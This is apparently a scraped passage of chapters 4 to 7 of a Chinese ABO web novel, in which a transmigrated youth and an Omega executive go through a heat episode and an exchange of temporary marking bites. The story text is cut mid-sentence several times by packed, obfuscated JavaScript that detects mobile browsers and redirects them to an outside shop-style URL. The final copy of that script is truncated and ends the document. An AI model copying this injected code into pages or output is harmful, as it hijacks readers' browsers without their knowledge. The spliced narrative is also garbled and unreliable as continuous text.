林逐只觉得喉咙干渴到快要冒烟,他下意识地舔了舔犬齿,又磨了两下牙,在唇瓣烙下深深的牙印。 【——给我一个临时标记。】 4. Chapter 4 在短信发送出去的那一刻,系统呆若木鸡,半晌才不可置信地说:“宿、宿主……关键台词通过判定了!居然真的通过了?!” “可这是主角的台词啊!” 系统疑惑不解,悄悄咪咪地自语:“该不会子系统模块也出bug了吧?要不要上报总局哇?” 不等林逐开口阻拦,系统又苦大仇深地说:“不对,总局给我几个钱?出了问题还要抓我背锅,不能上报,坚决不能上报!” 林逐嘴角一抽,忍不住感慨道:“你还挺人性化的……”这思想滑坡的速度比他还快,不去扮演渣男前夫哥真的是可惜了。 不过林逐现在没心情跟系统瞎扯话,他半靠墙,两眼紧盯着手机屏幕,脑子里还在想刚才的事情。 他的信息素被路过的Omega闻到了? 什么味的? 在原著中,前夫哥的信息素是具有刺激性的香烟味,但如今林逐补了位,用的还是自己的原装壳子,信息素会随之产生变化吗? 只不过林逐现在还闻不到信息素的味道,也无法控制信息素的分泌,根据系统的检测结果过来看,大概要半个月才能自主修复完毕。 想来想去,林逐忍不住想: 那么,刚才严若筠也闻到了吗? 虽然男人佩戴了阻隔项圈,但100%的信息素匹配度会不会突破产品的阻隔功能? 这要打个问号。 ……应该不至于让严若筠在走廊上突然发情吧?就像自己之前莫名其妙流鼻血那样,然后一个传染俩儿。 原本系统还在苦恼林逐无法主动分泌信息素,从而使得「诱导严若筠发情」这一剧情点失败,谁能想到林逐率先发情,信息素跟不要钱似的,铺天盖地地弥散开来。 也算是歪打正着了。 系统:从来没打过这么富裕的仗! 这让系统激动得不行,呱唧呱唧地夸赞起林逐来:“宿主好机智呀!先把主角约过来,等他接触到你的信息素,肯定能顺利完成任务!” 林逐倒是没祂那么乐观:“……我觉得他不会来。” 系统却反驳道:“这可不一定,原著里主角就曾一度爱上了前夫哥呀,不然怎么会结婚又离婚呢?现在宿主你就是前夫哥本哥!再加上本系统的辅助,没问题的!” 林逐耷拉着眼,情真意切地表示佩服:“你真是一块乐观的废物点心。” 系统:“……” 明明只是泡了泡脑袋,林逐现在却像是刚从水里捞出来的一样,整个人都湿透了,衣服黏腻地贴在皮肤上,仿佛将氧气也一同吸走。 没一会儿,金发少年无力靠着墙,缓缓坐到了瓷砖地面上。 香山会馆的规格很高档,洗手间打扫得光可鉴人,不见一点脏乱,林逐甚至觉得自己更像个环境污染源。 他坐了会儿,忽觉不对劲,低头看了看自己的下半身,然后有些无语地屈起一条腿稍作遮挡。 ……ABO世界竟恐怖如斯,涨见识了。 由于空气里Alpha的信息素浓度过高,触发了洗手间里的智能空气循环系统,净化模式正以最大功率运转,发出很低沉的嗡嗡声,但效果似乎不大。 室温降低了几度。 一冷一热之间,林逐打了几个喷嚏。 洗手间外的声音越来越杂乱,好几道陌生的声音正对谈着:“信息素太浓了,会对其他客人造成负面影响的……抑制剂还没送过来吗?” “经理,我已经让小韩去取了。” “里面那位客人是一个人来的吗?” “不是,是跟另一位Omega客人一起来的……”说话的人赶忙将声音压低了,不知道说了些什么。 林逐昏沉沉的,耳鸣声尖锐得像是一把刀子,在他的脑子里搅来搅去,连系统在他意识中的喊话都听不清了。 最恐怖的是,这难受劲儿还是一阵一阵的,让人烦躁又束手无策。 等林逐稍好一些,才惊觉走廊外已经安静了下来,不闻半点儿人声。 倏然,洗手间的门被人敲响,发出沉闷的‘叩叩’两声。 林逐靠坐在墙边,扬起脖子偏头看了一眼,还以为是来送抑制剂的工作人员,扯着哑掉的嗓子说了声:“进吧。” “咔嗒——” 门锁被人从外面拧开了。 林逐紧捏着毫无动静的手机,两眼通红地抬眸望过去,呼吸声浓重到清晰可闻。 他现在的模样狼狈极了,活像是只落水的金毛,没有表情的五官看起来凶恶又防备,略小的瞳仁看人时,给人以一种野兽直窥般的悚然感。 洗手间的门开了。 那道细窄的门缝越来越大,直至掩不住后面那道颀长的身影。 站在门后的人,居然是严若筠。 西装革履的男人面色淡漠地站在那里,脸上没了从容自若的微笑,浑身的气质冷了下来,好似揭开了温润的假面,露出真实的内在。 由于站位与高度问题,林逐的视线率先落到男人的手上,第一眼便发觉严若筠的手上多了一双黑色皮质手套。 手套将他颀长的手掌包裹得严严实实,只露出一小截白皙的腕子。 看样子,这双手套约莫跟他颈上的阻隔项圈是一个系列的产物,外形很相似,都给人一种全副武装的庄肃感,又透着诡异的诱惑。 林逐惊讶地张了张嘴,说不出话来。 发出那样一条短信后,他想过几个可能性,但没有任何一个可能性是——严若筠真的会亲自过来找他,甚至两手空空,连抑制剂都没带。 小说中,他对所有Alpha的信息素都避之不及,贴身的下属和工作人员多是Beta和Omega,对于Alpha信息素驳杂浓郁的地点,更是全方位规避。 Alpha洗手间就是需要规避的场合之一。 可严若筠还是来了。 他本来打算提前走人,反正人已经见到了,也算对家里人有个交代。没想到一出门就撞见苏家的小Omega,意外得知林逐居然在洗手间发了情。 为什么? 他直觉地认为,是因为自己。 但他今天特意佩戴了往日很不喜欢用的强效阻隔项圈,也提前喷过了清洁喷雾,按理来说,他的信息素半点都不会泄露才对。 难不成是因为100%的信息素匹配度影响到了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695223|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小鬼? Alpha与Omega之间,永远是Omega更容易受到信息素的影响和压制。这无关个人意志,而是由基因决定的。 基因真是个奇妙的东西。 严若筠想起了自己罹患的罕见基因病:NH0047序列缺乏症,医学史上从未被治愈的‘真爱病’…… 因为每一位被确诊‘真爱病’的患者都等不到跟自己匹配度超过95%的存在,便早早死于器官衰竭。 如今医学飞速发展,在各大名医的联合诊治之下,严若筠极大概率能够活过五十岁,但发情期长年累月得不到满足,会让他的生活质量无法保障。 因此在林逐出现之后,所有得知内情的人都在劝他—— 试一试吧。 这是一个无与伦比的奇迹。 严若筠嗤之以鼻,冷漠以对,不敢对任何人说出自己埋藏至深的惶恐。 这的确是一个无与伦比的奇迹,那么自己需要付出什么样的代价呢? 然而,今晚的事态发展充满了异常。 他没有发情。 发情的居然是林逐这个Alpha? 走廊上,两个年轻的Omega捂着鼻子,脸颊微红,轻声细语地问:“信息素有点浓,若筠哥你没有闻到吗?” 严若筠无声默道:没有。 真的没有。 结果就是,他鬼使神差地站了出来,向经理说明自己是里面那人的同伴,并让工作人员疏散了附近的访客,只身留了下来。 ……真是鬼迷心窍了。 严若筠有些暗恼地松开门把手,手指不着声色地蜷了蜷,接着朝里头迈了一步,又合上了门。 Alpha专用洗手间里的空气经过高度循环,已经不剩什么气味了。 最奇怪的也是这一点:没有气味。 既没有其他Alpha的气味,也没有林逐的气味。 洗手间内,水晶吊灯明亮皎柔。 Alpha少年屈腿靠在角落,微仰着脑袋与他视线相对,有一滴水珠划过他紧抿的唇角,越过下颌,蜿蜒着淌到他的喉结处…… 咕嘟。 喉结上下滚动了一下。 少年的衣领凌乱大敞着,水珠咻地砸到他的锁骨处,随即融入攀附在肌肤表层的汗液之中,让人分不清究竟是汗还是水。 严若筠对这副模样不陌生,尽管他从未跟哪位Alpha近距离接触过,但每个月——他都会变成这般狼狈不堪的样子。 林逐肉眼可见的难受,他的眼很红,额角有青筋鼓起来,好久才说了句:“……你怎么会过来?”声音沙哑得不像话。 严若筠默了默,好一会儿才举起手机示意了一下,俯视着他说:“不是你发短信让我过来吗?” 林逐:“……对。” 少刻,男人走近几步,皮鞋跟瓷砖地面相撞,发出清脆的嗒嗒声,直至在林逐身前半米远的地方站定。 林逐的脑袋从侧斜变成正仰,但视线始终跟随着男人的身影移动。 他沉默地看着严若筠靠近,看着他停伫,看着他弯下腰对自己说…… “所以,我来了。” 5. Chapter 5 发那条短信,是因为系统的判定出了茬子,林逐只是想试探一下还原原著中严若筠说的那句关键台词算不算补全剧情点…… 如果说白嫖三分之一的进度条勉强算是意料之中,但林逐着实没有想到,严若筠真的会来。 因此,听到严若筠凑说出那句话后,轰的一下——林逐的脑子几乎快要炸开。 具体表现为,他的某些不可言说的反应愈发热烈了,藏都藏不住。 林逐的身体素质很好,从小到大几乎没生过几次病,还是头一回遭遇现在这样尴尬的局面。 男人距离他约半米远,俯视的视角一览无余,任由林逐怎么屈腿遮挡都没用。 他正值青春年华,清晨醒来不是没有躁动的时候,但往往只要背会儿课文,不刻意去关注它,很快就能冷静下来。 而不是像现在这样—— 难以自抑,不可自控,身体陷入浪潮般的燥热,连带着理智也快被挤掉线。 尤其当严若筠站在自己身前时,林逐用上了所有的力气,才压抑住扑上去的欲·望,微喘着问:“……你能,能咬我一口吗?” 根据系统的播报,今晚的关键剧情点已经完成了三分之二,就差最后一哆嗦了。 进行AO临时标记。 尽管林逐心知自己只有做任务这一条路可走,但十八年来养成的三观不是那么容易颠覆的。 事到临头,他真有些下不去嘴。 这小破系统太不靠谱,说不定被主角咬一口也能被判定任务成功。林逐心想。 严若筠却以为自己听错了,眸中飞快地闪过一丝诧异,反问道:“你说什么?” 说着,视线落到少年的脖颈间。 林逐整个人几乎都湿透了,稍长的赤金发丝仿佛失去了光泽,蔫蔫地贴在颈侧,还一个劲儿地往下滴水。 他低垂着脑袋,两腿屈起,手肘抵在膝头,两只手环绕过肩窝,很不耐烦地拨开发尾,露出光洁的后颈,以及那块微鼓的腺体。 一根修长的指头抵在腺体旁边。 “就这里,你能咬一口吗?” 活了二十八年,严若筠还是第一次听人对自己说这句话,一时有些反应不过来。 要知道,Alpha的骨子里都带着攻击性和控制欲,尤其是发情期的Alpha,对同类极尽排斥,又对Omega渴求至深。 但无论面对哪一种性别的人,Alpha的天性都不会改变…… 进攻、占有、掠夺。 可面前的这个少年却表现出了让严若筠难以理解的退让,因而他蜷着的指头又颤了两下,忍不住重复问道:“你知道自己在说什么吗?” 语气仍是不咸不淡又疏离的,尾音却莫名发紧。 “呃……”林逐扒拉着头发,眼睛从过长的额发间露出来,看着严若筠应道,“知道啊……可你,你现在不是很紧张吗?” 其实严若筠从头到脚都没有表现出紧张的情绪,甚至看上去格外游刃有余,但林逐就是下意识地这么觉得了。 他站在这里,真的很紧张。 所以还是先让严若筠啃他一口吧。 任务要是不成功,他再恳请对方让自己也啃一口,你一口我一口,也没那么尴尬和亏欠。林逐是这么想的。 毕竟他是个崭新出炉的Alpha,完全没有寻常Alpha的领地意识,也不认为被人咬一口腺体是多么触及底线的事情。 林逐唯一抗拒咬与被咬腺体的理由,大概是这种行为过于亲密,由两个陌生的、第一次见面的人做起来格外别扭。 严若筠没有回应林逐那句说自己‘紧张’的大言不惭的话。 他跟少年四目相对着,乍一眼看过去,只觉得那对充血的眸子充斥着燥与欲……看着看着,他忽然发现似乎有什么东西从眸底钻了出来。 抛开种种抵触与偏见,严若筠恍然发觉,那是像水、又像风一样的东西,既没有威胁性也没有压迫性,甚至让人感到温暖与包容。 他在心里冷冷地想:就是个不着调的小屁孩而已。可身体却抢先一步压了下去,遮住了顶光,在少年的身上罩下一片隐晦的暗影。 他凑近了林逐的后颈,鼻间仍旧一丝气味也无,干净得不可思议。随即他张开嘴巴,在林逐的腺体处狠狠咬了下去! 不知处于什么心理,严若筠咬合的力道格外重。 几乎是同一时间,他感到林逐的身体霎时紧绷起来,少年身形单薄却不瘦弱,半透的衣服勾勒出薄肌线条,彰显着男性的力量。 可林逐没有动,只是猛地收紧扣在颈侧的手掌,十指攥得紧紧的,颈侧青筋鼓起,喉咙里泄出一丝低沉的痛呼:“……嘶。” 严若筠咬完,很快撒了嘴,全程不超过三秒钟。但林逐还是疼出了一脑门的汗。 单纯被人咬一口会这么痛吗? 林逐简直怀疑人生。 他问系统:“任务完成了吗?” 系统冒出头,语气发虚:“没有耶,可能是因为Omega无法标记Alpha吧,所以临时标记不成立……毕竟标记本质上是信息素层面的交融占有,而不是简单的啃咬嘛。” “宿主,看来还是得你来了,加油!努力!” 无视系统在意识内的加油鼓劲声,林逐又瞥一眼严若筠。 男人已经直起腰,退回原位了,身上的西装仍旧笔挺,黑色皮质阻隔项圈与手套严丝合缝地包裹住他的脖颈与双手,让他看起来禁欲又冷感。 好似刚才发狠咬人的不是他一样。 许是觉得坐在地上说话很不正式,再加上刚才严若筠那一咬疼得人理智回笼,林逐抽着气,扶墙站了起来。 而后,他将另一只捂着后脖颈的手举到面前,伸出食指比了个‘一’,试探性地问道:“呃……你能让我也咬一口吗?” 一站一坐的两人,变成了面对面站着。 严若筠身高不俗,他是中法混血,早在青春期就突破了一米八,发育完毕后净身高达到一米八五,穿上鞋子还显得更高一些。 这样傲人的身高在Omega里十分罕见,大概只有时尚圈的秀场模特能与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695224|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之媲美。 而林逐的身高也远超周遭同学的平均值,但比严若筠矮了两厘米左右,斜靠着墙的时候,显得两人差距更大。 可好歹是平视状态了。 在这种状态下,林逐将严若筠的神情动作看得更清楚。 男人慢半拍地用手背拭了一下唇角,纯黑手套与肌肤的色差两极分化,衬得他肤更白,唇色愈粉。 他的眼型很好看,是一双微微上挑的凤眸,不像林逐的下垂眼那样看起来没精打采的。 顶灯的光晕撒下来,碎在他深邃的眸中,浅浅映出一抹掩藏在墨色中的灰绿。 严若筠紧盯着林逐,像在审视一只奇奇怪怪的珍稀动物。 他的眼神里没有喜欢和厌恶这两种反差极大的情绪,更多的是—— 好奇与探究。 半晌。 男人轻飘飘地点了一下头:“好。” “但我不想在这里。”他又补充了一句,说话时视线在周遭扫了一圈,冲林逐示意道。 林逐连忙点了点头。 能理解。 尽管他跟严若筠看上去都是不折不扣的男人,但实际上两人是不同的性别。方才严若筠独自出现在Alpha洗手间门前,就已经让林逐很惊讶了。 在这种地方对严若筠进行初次临时标记,多少有些侮辱人了……这要换在他原来的世界,跟拉着女同学在男厕接吻有什么区别? 嗯……咬腺体建立临时标记,好像比接吻还来得亲密吧? 林逐忽而想到了什么,问严若筠:“现在我的信息素好像过度分泌了,就这么走出去不要紧吗?” 虽然他闻不到自己和别人的信息素味道,但别人可以闻到他的啊! 思及此处,林逐停顿了一下,又问:“你就……没闻到我的味道吗?” 原著中,只要渣男前夫哥稍微泄出一点信息素,严若筠就宛如一汪被搅浑的春水,身体绵软得直不起来,然后就是大几页的不可描述文字。 根据系统的监测,他现在等同于一辆故障的洒水车,信息素哗哗地往外喷,止也止不住。 寻常Alpha发情时也会信息素外泄,但很快就能自行收起,偏偏林逐暂时还不具备这项功能。 这就导致,看起来像是他在故意泄出信息素一般。 真是长八张嘴都解释不清楚。 严若筠侧着脑袋,两只手扣在脖颈上,缓慢地将强效阻隔项圈摘了下来,听到林逐问话,古怪地盯了他几秒,说:“我闻不到你的信息素。” 医院的检查单上白纸黑字写得清清楚楚,他跟林逐有着100%的信息素匹配度。 按理说,不该发生这种情况。 但它还是发生了。 严若筠的脑子里蓦地闪过那句近日听了无数遍的话—— 这是一个奇迹。 为什么不试一试呢? 于是,严若筠将阻隔项圈往前一递,另一只手举起手机,拨通会馆接待人的号码,直截了当地说了句, “给我准备一间房。” 6. Chapter 6 香山会馆经营的范围很广,吃喝玩乐一应俱全,自然也包含了最基础的酒店服务。 尽管严若筠时常在这里应酬吃饭,但从未留宿过。 他嫌不干净,又觉得不安全。 客观事实上,香山会馆的服务向来周到,面向高档宾客这一点保障了它的隐秘性、安全性和洁净程度。 然而,严若筠在常年的发情期折磨下,对外界环境警戒到了极点。 能让他安心夜宿的地点只有三个:他常住的单身公寓、家人所在的严家庄园、以及严氏大楼总裁办公室里的休息间。 除去非必要的出差外宿,严若筠不会随便在外面开房,恰好香山会馆就在北都市区,因此每回饭局散场后,他都会让司机开车送自己回家。 这还是他第一次要求开房间。 接到电话的经理语气恭敬有礼,不自觉地点着头道:“好的,严总您放心,我这就让人去准备……” 说话时,他的表情有些微妙。 干酒店服务这行业的,能接触到的私密事可太多了……尤其是他们这种会员制的会所,哪位客人不是有头有脸的人物? 这位严总,更是贵客中的贵客。 他的名头不仅在商场上如雷贯耳,在其他领域也极有名气。 还记得去年严总某次国外公差结束,在国外机场跟某位明星撞了路线,被粉丝抓拍放到网络上还引起了一阵轰动。 不认识他的人纷纷留言打听:【是模特吗?哥哥的腿不是腿,塞纳河畔的春水~这身材比例也忒好了叭!】 【啊啊啊这微妙的混血感,看起来特别精致高贵,疯了,三秒之内我要他的联系方式!】 【噗……这位可不是什么明星模特,感兴趣的亲可以关注一下北都严林两家企业,他姓严哦~】 【笑死,社畜的我居然在磕双总裁,但不得不说,真的很香!】 …… 因着这阵流量,以及在严若筠的推波助澜之下,严林两家合资的项目势头一片大好,赚了不少钱。 这样一位Omega—— 要家世有家世、要能力有能力、要样貌有样貌,简直是人生赢家的经典模范。 没人能否认他的优秀。 更别提,他还有一位同样优秀且门当户对的未婚夫。 问题也正出在这里。 严总他是有未婚夫的啊! 甚至那位林家大少爷也是香山会馆的会员之一,之前不是没和严总一同来过…… 可他刚刚听底下人的描述,今晚跟严总有约的Alpha怎么都不像是林家大少啊! 经理讪讪地想着。 挂了电话,他还不忘叮嘱一句:“注意保护客人的隐私,不要多嘴也不要多看,规规矩矩的。” 他交代的工作人员就是刚才处理信息素泄露的领班服务员。对方也知道事情轻重,连连点头,一副讳莫如深的模样。 两人对视一眼,眼神里都透着一句话。 ——妈呀,吃到大瓜了。 这要是爆出来,还不得分分钟上热搜? - 走出洗手间之前,严若筠将自己的项圈给了林逐,还往他身上喷了足足大半瓶的清洁喷雾,这才将气味压下来。 等领班服务员送来房卡,严若筠没要对方带路,而是直接领着林逐往电梯处走。 天色比来时暗了许多。 严若筠没有带他走露天桥廊,而是往另一头的封闭廊道走。 一路上都没有撞见别的什么人。 廊道寂静,壁灯昏暗,带有一种特意营造出的暧昧氛围。林逐跟着他一前一后地走着,鞋子踩在地毯上半点儿声音都没有。 只有两道呼吸声交织在一起。 林逐的呼吸急促深重,而严若筠的呼吸却是缓慢浅长的,还带着些悠然。 走了好一会儿才看到电梯,林逐忍不住长呼出一口气,抬手扯了扯颈间的黑色项圈。 从洗手间到电梯这一段路,他已经扯了好几次了,脸上表情又蔫又臭,还有些凶。 严若筠手里捏着房卡,顺势按了一下上行按键,淡声问道:“有那么难受吗?” 林逐还是热,将后背贴着冰凉的电梯背板,努力拉开跟严若筠的距离,低低地嗯了一声。 他从来没戴过这种饰品,只觉得勒得慌,呼吸都不太通畅了,难受到极点。 更何况……这条项圈还是严若筠刚从脖子上摘下来的,他戴上的时候,项圈还残留着未散的体温,惹得林逐又是一阵燥。 电梯上行,带来些许失重感。 直到耳边响起‘叮——’的一声提示音,林逐才发现自己居然一直盯着严若筠的脖颈看。 尽管男人年近三十,皮肤却非常白皙细腻,摘下阻隔项圈后,颈部留下一圈淡淡的红痕。 电梯里的灯光也是略暗的,红痕若隐若现,林逐越是看不清楚,就越想看清楚,直至整个人怔怔地出了神。 见他半晌没动,严若筠长按着开门按键,不耐地问了句:“看够了没?” 林逐恍然回神,连忙跟着他一起往外走。 电梯外又是一条长长的封闭式走廊,两侧都是紧闭的房门,门上挂着印有数字的牌号。 严若筠倏然在A3012号房前停了下来。 林逐一个猝不及防,不小心撞上了严若筠的后背,下意识地用手扶了扶,位置正好是男人纤细的后腰处。 他飞快地抽回手,摸着鼻子道:“……不好意思。” 严若筠只看了他一眼,没说话,然后用房卡在门锁部位扫了扫,紧接着房门应声而响,发出‘嘀’的一声。 “咔嗒——” 门锁自动弹出,将房门弹出一条细细的缝,里头静悄悄地,没有一丝光。 严若筠率先推门进去,将房卡插在了墙壁上的感应器中。 下一瞬,灯光亮起,将整间套房照亮。 林逐跟在男人身后,也迈了进去。 他说不好自己现在是什么心情,两个人一路走来都是安安静静的,没说几句话,俨然一副陌生人同路的样子。 实际上,他们也没比陌生人好到哪里去,今晚也才第一次见面呢。 ——结果就开房了。 林逐长这么大,还是第一次开房,以及跟别人一起开房。同行的人还是严若筠,他理论上的未来……嗯,未来的老婆。 之所以说是理论上的,是因为林逐也不确定严若筠会不会跟原著中一样同意与自己联姻,并维持近一年的婚期。 “把门关上。” 严若筠回头看了眼呆呆愣愣的金发少年,不自觉地啧了一声,催促道。 林逐像极了脑袋生锈的机器人,严若筠一个指令,他一个动作。 关上门,严若筠调头走向客厅,林逐跟在他身后,见男人坐在沙发上侧头看过来,他下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695225|144406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地又问一句:“怎么了吗?” 严若筠不语,兀自垂眸,缓慢地将皮质手套摘了下来。他的手心微微汗湿了,皮质手套有些难摘。 林逐就这么站在两三米远的地方看他摘手套。 明明是再简单不过的动作,也不是脱衣服之类的带有性暗示的举动,可林逐看着看着,忍不住将视线偏移了一些,像是看到了什么不该看的画面。 严若筠将手套轻飘飘地丢到矮桌上,现在他身上没有任何阻隔设备,清洁喷雾也被林逐用得见了底…… 他从来不会在这样场合里,‘毫无阻隔’地面对一个成年Alpha。 可今晚,严若筠就是这么做了。 客厅的灯亮堂堂的,窗帘却掩得很紧,这是一个独立的、明亮的密闭空间。 严若筠学着林逐先前的样子,微低着头,将后颈的发丝拨开,露出腺体的部位,干脆明了地说:“来吧。” 林逐依言走上前,刚站到严若筠身后,就听男人说:“……你别站在我后面。” 林逐陡然忆起小说中描写过的,严若筠从小就不喜欢有人站在自己身后,这会让他感到强烈的不安全感。 他讷讷地‘哦’了一声,想绕开来,却被两侧的沙发挡住,又问:“那我站你前面么?” 严若筠没抬头:“可以。” 林逐几步绕到沙发面前,站到严若筠身前,可问题又来了——严若筠的腿格外长,横在两人之间,让他不知道该怎么下嘴。 “那个……”林逐调整着站姿与距离,想了想,还是问道,“你能把腿打开一点吗?” 话音刚落,脑子就被原著里的N辆大卡车飞快碾过,林逐下意识地解释起来:“啊…!我不是那个意思,我是想让你腿分开一点,我好站进去,现在我咬不到……” 说着说着,林逐满脸面瘫,满心绝望。 还不如不解释呢! “哎……”沉寂许久的系统恨铁不成钢地叹了口气,“宿主,你扮演的是一个口花花的浪荡渣男啊!怎么跟个没见过Omega的处男一样!” 林逐在心中无语默道:“……不好意思,我就是没见过Omega的处男啊!从小到大我连别人的手都没摸过。” 系统调出小说光屏,将划线的高亮部分怼到林逐眼前,提示道:“不慌,咱们照着原著剧本来!” “你先掐住主角的脖子,咬完再舔舔,然后看着主角潮红的脸,笑着说出关键台词‘舒服吗?只有我能给你。’就可以了!” 林逐:“……有种你自己来。” 系统一秒嘘声,转移话题道:“哦,之前宿主还原主角的关键台词被判定成功了,说不定这句关键台词不用说呢,或者是让主角说……” 林逐没理祂。 而严若筠,他只是抬眸瞥了一眼林逐,居然真的将双腿岔开了,留出一个可供人站立的空位来。 “可以了吧?”他问。 “嗯……”林逐随即上前两步。 他跟严若筠之间的距离早已突破了正常人的社交距离,身上高热的温度几乎化作一阵风,扑到男人的脸上。 严若筠不由自主地侧过脸,看向脚下地毯的花纹,嘴上不咸不淡地说着:“别又流鼻血了。” 林逐:“…………” 然而,当他弓下腰,嘴巴凑到男人的颈侧的时候,却瞥见严若筠的耳朵从发丝间探出一角…… 已经红透了。 7. Chapter 7 晚上八点出头,外头天色黯淡。 A3012套房里却灯光大亮,宛如白昼。 客厅的顶灯是一盏圆形半球体,自上而下地撒下灿然的光线,像极了凝视着万物的曜日,将屋内两道如鸳鸯交颈一般的人影照亮。 林逐跟严若筠挨得很近,潮湿滚烫的气息呼到了男人的颈侧,带起他一阵不自觉的战栗。 耳根的红,悄悄蔓延到了脖颈。 林逐张开嘴巴,咬之前下意识地瞥了眼严若筠的侧脸。 男人嘴角抿起,脸上没什么表情,唯有下敛的睫毛随着他的呼吸节奏而颤动。 当林逐张嘴时,他干脆将眼一闭,彻底阖上了眼眸,一副‘眼不见为净’的疏冷模样。 不知怎么的,林逐犹豫了一下,忍不住出声预警道:“……我咬了?” 闻言,严若筠随意搭在膝头的手不经意地紧了紧,西装裤顿时被攥出几条褶皱。 “嗯。”他淡道。 林逐此时的姿势有些别扭。 他下半身站得稍远一些,很注意地跟严若筠隔开了距离,上身却不得不贴近,两只手无处安放,只好一手撑在沙发背上,另一手垂在身侧。 严若筠头微低,露出如白瓷一般的后颈。他的腺体长年累月被阻隔产品掩盖住,皮肤白嫩极了,好似重一些的呼吸都能将其割伤。 林逐忍不住放轻了呼吸的力道。 他还是板着那张厌世无神的脸,看上去懒怠乖戾,对什么都不感兴趣。 只有时刻监测着宿主身体数据的系统知道他现在忍得有多辛苦。 “宿主,你的激素快要失衡了,还是赶紧标记主角吧!而且……难道你都不觉得难受吗??” 系统悄默默催促,然后陷入沉思。 不对啊…… 那个bug只会影响宿主对自身与他人的信息素感知能力,但进入发情期后,Alpha该有的反应,宿主都有的呀? 再者说,宿主这还是第一次发情,对标ABO世界里其他的刚成年Alpha,他的情动反应应该会异常激烈才对……? 也正因如此,年满十八周岁的Alpha与Omega都需要在医院度过二次分化期,借助药物辅助才能抵抗分化结束后的急性情热,事后还得持续观测恢复水平。 而宿主上周才二次分化结束,面对这种不规律的急性发情,只会更难受。 结果呢? 少年这慢吞吞的架势,不知道的还以为刚才发生在洗手间的骚乱是一场错觉呢。 系统开始自我怀疑,又看了一眼监测数据,一瞬间沉默下来…… 激素都快爆表了啊! 宿主是个狠人,居然这么能忍耐! “宿主……你可别把自己憋坏了,”系统犹犹豫豫,还是未雨绸缪地提示道,“要是影响到生育功能怎么办?后面的关键剧情点需要主角怀孕的呀……” 林逐闭了闭眼,跟系统意念对话:“我还没临时标记上主角,你就惦记上让人家怀孕了?” “就没有其他的前夫哥扮演系统来绑定你吗?真别浪费了人才。” 系统一秒闭嘴。 而等了又等的严若筠,似是耗尽了所有耐心,忽又睁开了眼,侧脸回望:“你到底咬不咬?” 林逐本就贴着他的颈侧,当男人扭头看过来时,两人的距离再次拉近到一个微妙且暧昧的距离,几乎快要吻在一起。 严若筠抿着唇,眉头皱起一丝弧度,有些不耐地说了句:“不咬算了,我先走了,你自己想办法解决吧……” 说完,正要站起身—— 一只手拦住了他的动作。 那手正好卡在他的腰线位置,手掌滚烫的温度刹那间穿透了西装外套与衬衫,灼烧着男人的肌肤。 严若筠猝不及防地往沙发靠背跌去,这一来一回,他跟少年拉开距离,被遮挡住的顶光猝然刺入他的眼中。 下一秒,严若筠不适应地闭上眼,眉头皱得更紧,眼角有沁出的生理性泪意。 同一时间。 一道黑影压下来,重新将光线隔开。 严若筠还没反应过来,后颈突然传来一道剧烈的刺疼,皮肤被犬齿咬破,牙尖蛮横地闯入那片从未打开过的血肉土壤…… 湿热的口腔包裹住小小的一团腺体,唇舌与尖牙仿佛两尊大山,将严若筠压得喘不过气来。 眼角的湿润飞快地结成泪珠,从他的面庞划过。严若筠整个人都在颤,完全没有意料到简单的临时标记会让自己疼成这样。 他忍不住抬手推了一下林逐,声音也在颤:“……很痛!松开!” 林逐被用力推开,小腿撞到矮桌后才从短暂的失神中醒来,神情有些哑然。 他本就忍得脑袋嗡嗡疼,由于感知不到Omega的信息素,久久得不到抚慰,乍一听到Omega打算离开的宣言,Alpha骨子里的侵占天性作祟…… 没想到,只是晃了个神的功夫,他就顺着Alpha的本能,在严若筠的后颈重重咬了一口! 屋子里亮堂堂的,一览无余。 严若筠看上去疼得狠极了,正侧身靠在沙发背上,脸颊上还残留着一闪而过的生理性泪痕,连甩过来的眼神都带着盈润波光。 他没有伸手去捂被咬的伤处,反而习惯性地将蜷曲的食指塞到了齿间,但很快意识到现在是在人前,便又放了下来。 本就印着深深浅浅瘢痕的食指指节,添上一道泛红的牙印。 林逐耸着眉眼,不敢贸然上前,只好在原地低声关切了句,“……你还好吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 